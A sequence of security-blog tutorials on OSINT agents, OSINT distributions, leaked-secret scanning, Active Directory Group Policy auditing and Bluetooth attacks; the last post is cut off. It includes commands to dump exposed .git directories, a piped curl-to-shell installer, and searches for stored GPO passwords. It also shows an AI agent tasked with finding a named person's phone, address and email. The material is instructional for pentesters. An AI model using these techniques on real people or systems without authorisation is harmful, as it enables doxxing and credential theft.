Welcome back, investigators!

Some things just lie on the surface, while others take time to find. In OSINT, finding the right data often means digging deep. Before you reach a conclusion, there must be solid evidence to support it, and data acquisition is always the most time consuming part of this process. The success of your investigation depends on how well you can find information and connect the dots.

OpenPlanter can automate part of this process. 

OpenPlanter

Essentially, OpenPlanter is a recursive language model investigation agent. It ingests different kinds of data, which can be corporate registries, campaign finance records, government contracts and more. It then resolves entities across them and surfaces connections through evidence-based analysis. You can also use it to build profiles of individuals based on publicly available information.

OpenPlanter has both a desktop GUI and a terminal interface. The second one is more convenient.

Setting Up

The setup process is quick. We just need to create a Python environment that will host the needed libraries. 

kali > git clone https://github.com/ShinMegamiBoson/OpenPlanter.git
kali > cd OpenPlanter
kali > python3 -m venv venv; source venv/bin/activate
kali > pip install -e . 

Once it’s done, we need to give it our API keys. 

To make web searches, OpenPlanter needs the Exa API. Exa is cheap to use and gives free credits for new accounts, so you don’t have to pay upfront. OpenRouter API is also needed to run the tool. OpenRouter has free AI models, but there is a daily usage limit. Make an account there and get your free API key. 

To configure keys, run this command and paste them: 

kali > openplanter-agent --configure-keys

At this point, you can use the tool.

Using OpenPlanter with OpenRouter

The daily API usage limit is enough to run a couple of basic tests, like the one below.

kali > openplanter-agent --task “Find recent security breaches affecting Apple” --provider openrouter --model openrouter/free

OpenPlanter will use Exa API key to find information. Without Exa, it burns tokens faster and gives incomplete results. 

Normally, the tool saves the results in a text file in the current directory, but it doesn’t always happen. Be careful and make sure you don’t lose anything. 

Here is our first report.

To make things more interesting, we asked it to find a complete list of Tatneft executives. Tatneft is one of the largest oil and gas companies in Russia.

The report was well organized, but all this information is readily available on the internet, due to the size of the Russian company. 

When it was asked to find more information on a specific person from the list above, it struggled to find much and ended up with some generic data and a wrong social media account. Well, maybe that person is hard to find, so we gave it a second chance and picked a unique name from the same list: Nail Ulfatovich Maganov.

kali > openplanter-agent --task "Find as much information as you can on Nail Ulfatovich Maganov who works at Tatneft. If possible, find his Vkontakte, phone number, address, email and check if his email has been in data leaks. Save the results in a text file" --provider openrouter --model openrouter/free

The results can be seen below. OpenPlanter did find his LinkedIn account and extracted information from various places. 

It also found OpenSanctions records associated with Nail Maganov. 

But he is a well known figure in Russia. What about regular employees at a large Russian company? We will use Sibur for this example. Founded in 1995, it’s Russia’s largest petrochemical company.

We tried two individuals. During the first attempt, the tool didn’t find the correct person. After the second attempt with a different employee, it gave the results. 

It found Svetlana’s position (Head of HR). This information was in her LinkedIn account. The rest of the information deserves further validation. Keep in mind, Russia has undergone a massive data blackout, systematically dismantling its open data and public statistics infrastructure. No wonder it’s hard to find things there.

Using OpenPlanter with Ollama – Locally

OpenPlanter’s own docs push toward frontier models (GPT-5.2, Claude Opus 4.6, Cerebras Qwen3-235B), because the whole process is quite demanding. Small local models will be noticeably weaker. But we still gave it a try. The first model was Qwen3:0.6B and its first attempt didn’t produce any results. After the second attempt, it found recent vulnerabilities that Windows had.

We also tried it with Qwen3:4b, but it produced absolutely irrelevant data in its response. 

We didn’t stop here and tried it again. The results were still irrelevant. Instead of making a report on Mikhail Karisalov (CEO of Sibur) it spoke about something else. 

Using OpenPlanter with Ollama – Remote Servers

If you decide to rent a server with good hardware to test other models, don’t waste your time on it. We tried various models, but none of them worked well. OpenPlanter calls a model, the model replies and then it fails. The output can be seen on the screen.

Here is an example with Qwen3.6:27b. Qwen3.6:35b had the same issue.

We also tried Ornith:35B.

These models support thinking and tooling, but they can’t really do much in this case. 

Terminal Interface

It’s also important to mention that there are two ways you can use OpenPlanter in the terminal. So far, you’ve seen only one. If you’re more comfortable with a chat interface, you can use the second option.

kali > openplanter-agent --provider openrouter --model openrouter/free

Here you run your prompts and tweak the tool using the available commands.

Summary

After testing the tool in various ways, we came to the conclusion that it works reliably only with OpenRouter. That’s what gave us the best results. The developers also push towards frontier models or OpenRouter. The whole process of investigation relies heavily on the Exa API. Using it with Ollama models hosted externally (VPS) will not work, as it fails silently even if you select a supported AI model. 

The tool might confuse people, especially if their names are common and their social media profiles are empty. Everything it finds deserves validation. Occasionally, it may check the results, marking them HIGH, MEDIUM or LOW depending on its confidence. It doesn’t always do it, but this can be fixed if the prompt explicitly asks for it. Most importantly, OpenPlanter can still save you time.

Learn more with our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve tasks with it.

The post Artificial Intelligence in Cybersecurity, Part 26: OpenPlanter for OSINT Investigations first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Using a Raspberry Pi board with Pi OS is a great way to jump into cybersecurity. You don’t need a lot of fancy gear to get started. Just hook it up to a TV, grab a keyboard and mouse, connect to the internet, and you’re all set with a solid system to explore Linux, programming, and hacking.

In this article, we’ll walk through how to install Raspberry Pi OS Desktop on a Raspberry Pi 4 and check out all the cool tools and features it has to offer. Let’s get rolling!

Step #1: What Is Raspberry Pi OS?

Raspberry Pi OS is the official operating system for Raspberry Pi single-board computers. It was launched back in July 2012 under the name Raspbian, which combines Raspberry Pi and Debian. The OS was created to give early users a stable Linux environment that’s tailored to the hardware’s simpler specifications.

There are three different versions of Raspberry Pi OS, each aimed at different users. The Desktop edition is the most beginner-friendly, featuring the PIXEL (Pi Improved Xwindow Environment Lightweight) desktop environment and popular apps like Chromium, and VLC. This version, requiring at least 32 GB of storage.

Raspberry Pi OS Full includes the desktop and all recommended software. It’s got everything from the regular desktop edition and some additional tools.

The Lite version is perfect for folks who prefer the command line to a graphical desktop. It’s great for servers, headless apps, and projects that need to be light on resources, giving savvy users the flexibility to tweak things just the way they like.

This article focuses on the Desktop edition, the one most new users will download first, and a perfect starting point for exploring what Raspberry Pi can do.

Step #2: Installing Raspberry Pi OS

Installing Raspberry Pi OS is pretty straightforward. First, make sure you have a Raspberry Pi, preferably models 3, 4, 5, 400, or 500 if you want the desktop version. You’ll also need a microSD card of at least 32 GB, a computer to set up the SD card, a micro-HDMI cable, and a monitor. The newer Raspberry Pi 4 and 5 use micro-HDMI, while the older models need full-size HDMI. Don’t forget about a keyboard, a mouse, and a power supply.

To install the OS on the microSD card, use the Raspberry Pi Imager. It is the official tool for creating the OS image and handles everything from downloading to writing and verifying in a single app. If you’re on Linux, open up your terminal and type:

sudo apt install rpi-imager

Once it’s running, you’ll see a screen that looks like what’s shown below.

Click on ‘Raspberry Pi Device’ and pick your model so Imager shows only the OS versions that work with your hardware.

Next, tap on ‘Operating System’.

If you’re new to this, go for ‘Raspberry Pi OS (64-bit)’ at the top since that’s the standard Desktop edition. If you want the Full edition with extra features, just scroll down to ‘Raspberry Pi OS (other)’ and pick ‘Raspberry Pi OS Full’.

After that, plug your microSD card into your computer’s card reader. Hit ‘Storage’ and select your card, making sure you’ve got the right one, since Imager will wipe everything on it. Then, click ‘Save’, then ‘Write’. Imager will download the latest OS image or use one you already have, write it to the card, and check that everything went smoothly.

Finally, once Imager gives you the green light, safely eject the card and boot into your Raspberry Pi.

Step #3: First Boot

Insert the prepared microSD card, connect the display using HDMI, plug in your USB keyboard and mouse, and then connect the power supply. The Raspberry Pi will turn on automatically when you power it up; there’s usually no separate power button on most models.

Then, the setup wizard will guide you through a few easy steps. You’ll set up your location and keyboard layout, create a new username and password to replace the default ones, connect to Wi-Fi, and you can even check for software updates before diving into the desktop.

Eventually, you’ll see a desktop that looks something like this:

The top panel has quick-access icons for the tools you use most, such as the file manager, web browser, and terminal. Click on the leftmost icon to open the application menu, which sorts all your installed software into easy categories like Programming and Internet.

By default, a limited number of apps are installed, but you can easily install additional ones through GUI app installers or the terminal.

Step #4: Key Features and Benefits

Raspberry Pi OS is different from regular Linux distributions because it’s made specifically for Raspberry Pi hardware. Everything, from the kernel to the GPU drivers, is tuned to get the best performance out of the Pi’s ARM processor and VideoCore GPU. The packages in the Raspberry Pi OS repository are compiled with specific optimizations that you won’t find in standard ARM versions of Debian or Ubuntu.

Another great thing about Raspberry Pi OS is that it’s designed to use as little memory as possible from the start. The PIXEL desktop environment, along with some basic background services, uses only about 300–400 MB of RAM at boot, leaving plenty of memory for your applications.

And finally, Raspberry Pi OS is completely free to download, install, and use with no license fees or subscription costs.

Summary

Raspberry Pi OS Desktop isn’t just a lightweight Linux version made for some weird hardware. It’s actually built specifically for the unique features and limitations of Raspberry Pi devices. You can really see this design approach in everything, from how efficiently the system runs to how well the hardware works together and even how clear the documentation is.

If you’ve gone through the article, you’re all set up to dive into learning cybersecurity. At this point, it’s a good idea to check out the Hackers-Arise Cybersecurity Starter Bundle and kick off your journey to becoming a master hacker.

The post Raspberry Pi for Hacking: Is Pi OS Best for Beginners? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Imagine this: you need to keep tabs on a sketchy person who may be involved in fraud. You’ve got some info about them and access to a laptop, ready to dive into your investigation. But as you start digging, you realize your system is missing the right tools for an OSINT investigation. Sure, you could set everything up on Kali Linux or Parrot OS, but that could take hours.

That’s where Tsurugi Linux comes in. In this article, we’ll break down what Tsurugi Linux is, how to get it installed, and what cool features it brings to the table for OSINT investigations. Let’s get rolling!

What is Tsurugi Linux

Many newcomers to open-source intelligence often turn to Kali Linux or Parrot OS as their first specialized distributions, and both are effective tools. However, neither was specifically designed for OSINT purposes. Kali Linux, for instance, is primarily an offensive penetration-testing platform. While it includes some OSINT utilities, its main focus is on exploitation rather than investigation. This is where Tsurugi Linux comes in.

Tsurugi Linux is a free and open-source Linux distribution specifically tailored for incident response and OSINT investigations. Its name, inspired by a Japanese double-bladed sword, reflects its dual emphasis on active intelligence gathering and passive forensic analysis. Tsurugi addresses the challenge of consolidating and curating over 300 specialized tools, thereby saving users the tedious process of installing and configuring each tool individually on a generic system. Instead, Tsurugi provides a pre-packaged, user-friendly environment organized by investigative categories, allowing users to become productive in just hours rather than days.

The Three Flavors of Tsurugi

Before downloading anything, it’s important to understand that Tsurugi is available in three distinct forms, each serving a specific purpose. Tsurugi Linux LAB is the full 64-bit distribution that we will focus on in this article. It includes the complete toolkit and is designed to be installed on a dedicated machine or run in a virtual machine for hands-on analysis and OSINT investigation.

Tsurugi Acquire is a lighter 32-bit version that contains only the essential tools needed for live disk acquisition.

Finally, BENTO is a portable forensics toolkit that you can carry with you and run directly from a USB device, allowing you to conduct live investigations on machines that cannot be taken away.

For getting started purposes, Tsurugi Linux LAB is your target, and you can find the latest ISO image on the official project website at tsurugi-linux.org.

How to Install Tsurugi Linux

In this demonstration, I will install Tsurugi Linux on VirtualBox. To get started, we need to download the latest ISO image from the website and create a new virtual machine based on it.

It is recommended to allocate at least 4 gigabytes of RAM and 60 gigabytes of disk space during the creation process. Once this is done, you can boot the machine. A desktop like the one shown below will welcome you.

First Look

When you boot for the first time, you will see the MATE desktop environment. The taskbar at the top offers quick access to files, an application launcher, a web browser, and a terminal emulator named Terminator.

When you open the Applications menu, you will notice a typical range of categories. Like most distributions, it includes programs for internet browsing, programming, office tasks, various media players, and other standard software that is unlikely to surprise anyone. However, our main focus is on the first item in the menu, labeled TSURUGI.

The top-level categories include OSINT, Memory Forensics, Malware Analysis, Network Analysis, and others. We will not delve into specific tools here; some have been covered in previous articles, and we will address others that haven’t been discussed yet, provided they warrant our attention.

The Tsurugi Browser

Tsurugi Linux ships with a well-known version of the Firefox browser, preinstalled with extensions.

Let’s take a look at some of them.

Tampermonkey is a browser extension that enhances your browsing experience by allowing you to run userscripts on websites. Userscripts are small programs that modify page layouts, add or remove features, and automate actions to personalize your web experience.

DNSlytics lets you retrieve information about a domain, including WHOIS data, DNS records, and more.

NoScript is a browser extension that enhances online security and privacy by blocking JavaScript, Flash, Java, and other potentially harmful content on websites, only allowing execution from sites you explicitly trust.

Additional Features of Tsurugi Linux

The developers of Tsurugi Linux have worked hard to ensure that the operating system is as versatile as possible, making it suitable for a wide range of situations. To achieve this, they have included a vast array of utilities. Notably, they have highlighted OSINT (Open Source Intelligence) as a distinct category that has received special attention.

A dedicated OSINT profile has been introduced, and you can activate it by selecting the OSINT Switcher on the desktop or in the menu. Once enabled, most sections unrelated to OSINT will be removed from the menu, leaving only the relevant options you might need. Additionally, the wallpaper will change to provide a visual indicator of the active profile, ensuring you won’t confuse it with others.

Another valuable feature is the Write Blocker. This is an extra layer of protection against any malicious activity. The external storage device, such as a USB flash drive, will only be accessible in “read-only” mode when connected. To enable writing, select the TSURUGI device unlocker on the desktop. Then, in the window that opens, select the desired device and click “Unlock.”

Summary

Tsurugi Linux is a great choice for beginners starting with OSINT or digital forensics. It provides a friendly and well-equipped environment. While it won’t make you an expert right away, it will help you learn OSINT more quickly.

If you’re looking to enhance your OSINT skills, consider exploring our OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Is Tsurugi Linux the Most Powerful OS for OSINT? first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

You’ve probably seen people committing their env files to GitHub without noticing it. When you’re looking for a job as a coder, that mistake alone is significant enough to get you rejected if it happens during the technical portion. And if it ever happened to you, it’s happened to plenty of others too.

Today we’ll look at TruffleHog. It’s a tool that scans Git repositories and their full history for secrets that got committed by accident. It uses high entropy checks with custom regular expressions to catch strings that look like API keys, tokens, passwords and other sensitive data. You can point it at one repository or use a GitHub or GitLab API to hit a lot of projects in one go.

A developer can delete a key from the latest commit, but it will still live in Git’s past. With those credentials, you access services without making much noise.

Installation

First install git-dumper and TruffleHog. The Python package and the GitHub release are not the same, so pay attention to which one you’re on.

kali > pip3 install git-dumper  
kali > pip3 install trufflehog

We’ll use git-dumper when we find an exposed .git directory and then run TruffleHog against that dump. Leaked .git folders are still common.

Dump a Repository

Some servers leave the entire .git directory open. Below you can see a website where it was fully accessible.

Dump it by giving git-dumper the URL and a local folder for the files.

kali > git-dumper http://example.com/.git dump

Other websites block the directory listing but still serve some of the files.

Git-dumper can pull every object, commit and reference it can reach.

kali > git-dumper http://example.com/.git/  dump

Everything will be stored in the dump folder.

Analyzing the Repositories

Once the dump is on disk, run TruffleHog against it. By default it runs entropy-based matching. That can help, but it shouldn’t be the only mode you know. In our case, regex with entropy off gave us more results. 

kali > trufflehog --regex --entropy NO dump

In one of the files we found database credentials.

You can also install TruffleHog from the GitHub release and scan the filesystem directly:

kali > curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin 

kali > trufflehog filesystem /home/kali/Documents/dump  

This build is fine for tuning your scans, but it often makes more noise and false positives, so just be aware of it.

Other Ways to Analyze Repositories

Depending on which build you’re using, try these flags to change what you get in the output.

Scan a repo for verified secrets:

kali > trufflehog git https://github.com/trufflesecurity/test_keys --results=verified,unknown

Verified means TruffleHog checked these finding live against the service API (AWS, GitHub and so on). Unknown is both high entropy and regex hits that it couldn’t confirm.

Same scan with JSON output:

kali > trufflehog git https://github.com/trufflesecurity/test_keys --results=verified,unknown --json

Scan a GitHub repo including issues and pull requests:

kali > trufflehog github --repo=https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments  

That digs into issues, comments, PR bodies and comments. You can find leaks in discussions too.

Scan a local Git repo:

kali > trufflehog git file://test_keys --results=verified,unknown  

Useful when you’ve compromised a dev Linux machine with multiple projects on it. There’s a better chance of finding something locally than pushed to GitHub, although both can happen, as you now know.

Summary

We had an external pentest where several services were accessible but no credentials could be found. Surprisingly, some developers had kept projects they were doing for the company publicly accessible on GitHub. Eventually we found a working pair and got into a database.

TruffleHog can be really helpful here. Sensitive files sometimes get exposed without the publisher even knowing it. We’re humans and we make mistakes. Offensive or defensive, the point is the same.

The post Open Source Intelligence (OSINT): Finding Leaked Secrets with TruffleHog first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Welcome back, pentesters!

Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.

A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.  

What is a GPO

A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more. 

Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it. 

We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.

Here is how you set it up:

PS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr

What GPOs Exist?

Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets. 

PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize

For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).

As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.

It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it. 

Where Do They Apply?

Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.

PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize

Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.

Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.

You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.

The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.

Let’s list what computers are in Workstations-Temp.

PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName

Look Inside the GPOs

Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.

PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject

Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.

You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.

Listing Files

For the reason mentioned above, we won’t trust the output and list all the files ourselves. 

PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize

Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.

Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.

Decrypting the Password

Let’s take a look at Groups.xml and see its structure. 

PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml

Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there. 

kali > nxc smb DC -u user -p password 

Permission to Change 

Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.

PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize

This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.

In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.

A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.

Ownership

An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big. 

PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize

In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.

If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.

Summary

We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times. 

There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.

Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough. 

WhisperPair Vulnerability

In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.

However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.

From that point on, the hacker gains control over the accessory. 

Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.

This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.

The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.

Bluehood Scanner

Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.

Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.

For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.

You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter. 

Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.

